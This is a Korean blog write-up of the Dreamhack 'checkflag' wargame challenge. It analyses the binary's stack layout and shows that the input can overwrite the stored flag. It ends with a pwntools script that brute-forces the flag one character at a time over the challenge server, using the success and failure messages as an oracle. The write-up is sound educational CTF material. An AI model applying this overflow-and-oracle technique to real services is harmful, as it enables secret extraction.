[Dreamhack] checkflag

Merry Berry·2024년 10월 13일
0

Pwnable&Reversing

목록 보기
6/7

https://dreamhack.io/wargame/challenges/97

코드 분석

스택에서 rsp부터 0xc8만큼 0으로 초기화한다. 현 시점에서 rsp, rdi, rbx는 모두 동일하다.

flag 파일을 읽기 모드로 오픈한 후, rbp(rbx+0x40)에 파일 내용을 0x40만큼 저장한다. 참고로 rbx+0x40rsp+0x40과 동일하다. 이후 파일을 다시 닫는다.

"What's the flag? " 문자열을 출력한 후 표준 입력을 받는다. 스택의 rbx(rsp)부터 최대 0xc8까지 입력 데이터가 저장된다.

플래그의 길이를 계산해 rax에 저장한 후, 입력 데이터의 길이 rdx보다 큰지 확인한다. 만약 플래그의 길이입력 데이터의 길이보다 크다면 "Failed!\n"을 출력한 후 종료한다.

만약 플래그의 길이입력 데이터의 길이보다 작거나 같다면, 두 데이터가 동일한지 비교한다. 만약 동일하다면 "Correct!\n" 문자열을, 그렇지 않다면 "Wrong!\n" 문자열을 출력한 후 종료한다.

문제 풀이 전략

바이너리의 실행 흐름에 따르면, 스택은 위와 같이 구성된다. 플래그의 최대 길이는 0x3f인데, 길이 1 DH{}를 제외한 길이 0x3b까지 문자 0x20~0x7f의 조합을 브루트포싱하기에는 매우 오랜 시간이 걸린다.

왜 플래그의 최대 길이가 0x40이 아닌 0x3f인가요?
null을 제외한 플래그의 길이0x40이라면, 입력 데이터의 길이도 마찬가지로 null을 제외하여 0x40이어야 한다. 하지만 위 스택 구성 그림에서 볼 수 있듯이, 입력 데이터의 길이0x40이라면, 플래그와의 strcmp()는 무조건 실패한다. 따라서 (null을 제외한) 플래그의 길이는 최대 0x3f가 되어야 한다.

플래그의 길이 구하기

먼저 플래그의 길이를 파악하는 것부터 시작한다. 위 스택 그림과 같이, 입력 데이터를 <특정 길이의 데이터>+<null padding>+<특정 길이의 데이터>로 구성하여 입력한다. 아래 첫, 두 번째 스택의 경우 "Correct!\n"을 출력하지만, 세 번째 스택의 경우 "Failed!\n"을 출력한다. 따라서 "Failed!\n"가 출력될 때까지 <특정 길이의 데이터>의 길이를 1씩 줄여나간다. 만약 "Failed!\n"가 출력되었다면, 그때의 <특정 길이의 데이터>의 길이 + 1이 곧 플래그의 길이가 된다.

플래그 구하기

플래그의 길이를 구했다면, <특정 길의의 데이터>+<임의 문자>+<찾아진 문자열>+"}"+<null padding>+<특정 길이의 데이터>의 형태로 입력해 플래그를 거꾸로 찾는다. 만약 <임의 문자>가 플래그의 해당 위치의 문자와 동일하다면, <임의 문자><찾아진 문자열>에 합친 후 다음 문자를 찾는다. 또한 <특정 길이의 데이터>는 1씩 줄여간다.

익스플로잇 코드

from pwn import *


#Find flag length
flag_len = 0
for length in range(0x3f, 0, -1):
    test_payload = b'A' * length
    payload = test_payload + b'\x00' * (0x40 - len(test_payload)) + test_payload
    #p = process('./checkflag')
    p = remote('host3.dreamhack.games', 20489)
    p.sendafter(b'flag?', payload)
    if ord('F') in p.recvuntil(b'!\n'):
        print('length:', length + 1)
        flag_len = length + 1
        p.close()
        break
    p.close()

#Bruteforcing length 16 - 4(DH{})
found_flag = b''
for i in range(flag_len - 4):
    for c in range(0x20, 0x7f):
        test_payload = b'A' * (flag_len - 2 - i) + chr(c).encode() + found_flag + b'}'
        payload = test_payload + b'\x00' * (0x40 - len(test_payload)) + b'A' * (flag_len - 2 - i)
        #p = process('./checkflag')
        p = remote('host3.dreamhack.games', 20489)
        p.sendafter(b'flag?', payload)
        if ord('C') in p.recvuntil(b'!\n'):
            print(f'flag[{flag_len - 2 - i}] = {chr(c)}')
            found_flag = chr(c).encode() + found_flag
            p.close()
            break
        p.close()

print('DH{' + found_flag.decode() + '}')

0개의 댓글